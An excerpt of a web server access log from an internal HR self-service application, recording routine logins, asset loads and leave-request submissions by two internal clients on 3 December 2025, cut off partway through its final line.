"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.146 - - [03/Dec/2025:18:22:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:22:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.146 - - [03/Dec/2025:18:22:38 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:38 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 192.168.11.146 - - [03/Dec/2025:18:22:38 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:38 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.146 - - [03/Dec/2025:18:23:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [03/Dec/2025:18:23:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [03/Dec/2025:18:23:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 192.168.11.146 - - [03/Dec/2025:18:23:34 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:34 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.146 - - [03/Dec/2025:18:23:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.146 - - [03/Dec/2025:18:23:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 63537 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 63537 192.168.11.146 - - [03/Dec/2025:18:23:40 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:23:40 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.71 - - [03/Dec/2025:18:23:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:23:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.146 - - [03/Dec/2025:18:24:40 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:40 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 192.168.11.146 - - [03/Dec/2025:18:24:43 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:43 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.146 - - [03/Dec/2025:18:24:43 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:43 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 192.168.11.71 - - [03/Dec/2025:18:24:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6018683377914466 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:24:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6018683377914466 HTTP/1.1" 200 8456 192.168.11.146 - - [03/Dec/2025:18:24:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.146 - - [03/Dec/2025:18:24:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [03/Dec/2025:18:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.71 - - [03/Dec/2025:18:24:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6018683377914466 HTTP/1.1" 200 10636 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6018683377914466" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:24:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6018683377914466 HTTP/1.1" 200 10636 192.168.11.146 - - [03/Dec/2025:18:25:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.146 - - [03/Dec/2025:18:25:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.146 - - [03/Dec/2025:18:25:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:25:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120374%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120374%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.146 - - [03/Dec/2025:18:25:24 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120374%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:24 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 192.168.11.146 - - [03/Dec/2025:18:25:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:25:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.71 - - [03/Dec/2025:18:25:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:25:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.71 - - [03/Dec/2025:18:25:43 +0800] "GET 